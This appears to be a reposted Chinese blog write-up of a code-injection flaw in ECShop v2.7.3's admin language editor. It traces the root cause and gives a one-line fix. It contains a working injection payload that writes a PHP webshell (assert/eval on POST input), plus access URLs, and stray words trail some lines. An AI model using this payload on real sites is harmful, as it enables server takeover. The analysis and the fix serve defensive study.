ECSHOP v2.7.3注入漏洞分析和修復

  1. 測試版本
  2. 漏洞條件
  3. 漏洞利用
  4. 產生緣由
  5. 修復方案

1.測試版本

v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411php

2.漏洞條件

需登陸到後臺shell

3.漏洞利用

1) 登錄到臺後,選擇模板管理,語言項編輯,搜索「用戶信息」服務器

爲何要搜索「用戶信息」,還能夠搜索其它的嗎?測試

答案是搜索languages\zh_cn\user.php文件裏任何一個變量均可以網站

2) 添加以下後門,將用戶信息改成ui

用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

即生成一個JoyChou.php文件,內容爲:阿里雲

<?php
assert(
$_POST[x]
);
?>

3) 訪問user.php便可產生shell(不用註冊登陸帳戶)spa

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php

4.產生緣由

在admin\edit_languages.php文件中第120行,修改變量內容,注意是用的雙引號。code

 for ($i = 0; $i < count($_POST['item_id']); $i++)
    {
        /* 語言項內容若是爲空,不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
            /* $_POST['item_content'][$i]是修改後增長的內容,即增長的"用戶信息${${fputs(fopen"等內容
               $dst_items[$i] 是 $_LANG['label_profile'] = "用戶信息${${fputs(fopen"; 
            */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
        }
    }

修改完後文件\languages\zh_cn\user.php變量爲:注意是雙引號哦blog

$_LANG['label_profile'] = "用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";

因爲是雙引號,因此只要在任意的php文件中引用這個變量,代碼就會成功執行。

至於爲何能夠執行?原理以下:

下面這三句話均可以執行,與其說代碼執行,不如說參數執行。

<?php 
$a = "${ phpinfo()}";  // 有一個空格
$b = "{${phpinfo()}}"; // 多一對{},可是沒有空格
$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
$d = "asdf{${phpinfo()}}"; // {字符前能夠隨意加字符串
?>

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php這個文件包含\languages\zh_cn\user.php 這個文件,因此也能夠代碼執行。

/* 載入語言文件 */
require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');

5.漏洞修復

瞭解了漏洞原理後,修復就是一件比較簡單的事情,只需將雙引號改成單引號

修改\admin\edit_languages.php

// 修復前
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';  
// 修復後,因爲想在單引號之間出現單引號,必須使用轉義。
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

再次訪問http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已經不能生成JoyChou.php,代碼沒能獲得執行。

注:這個注入漏洞很老,但一直存在。我從模板堂下載的ECShop最新版,就含有此漏洞。網站搭建在阿里雲,提示服務器上ECShop有注入漏洞,查看後才發現。雖然我已經及時修復,但更多用戶可能不曾留意或者沒技術支持吧。

相關文章
相關標籤/搜索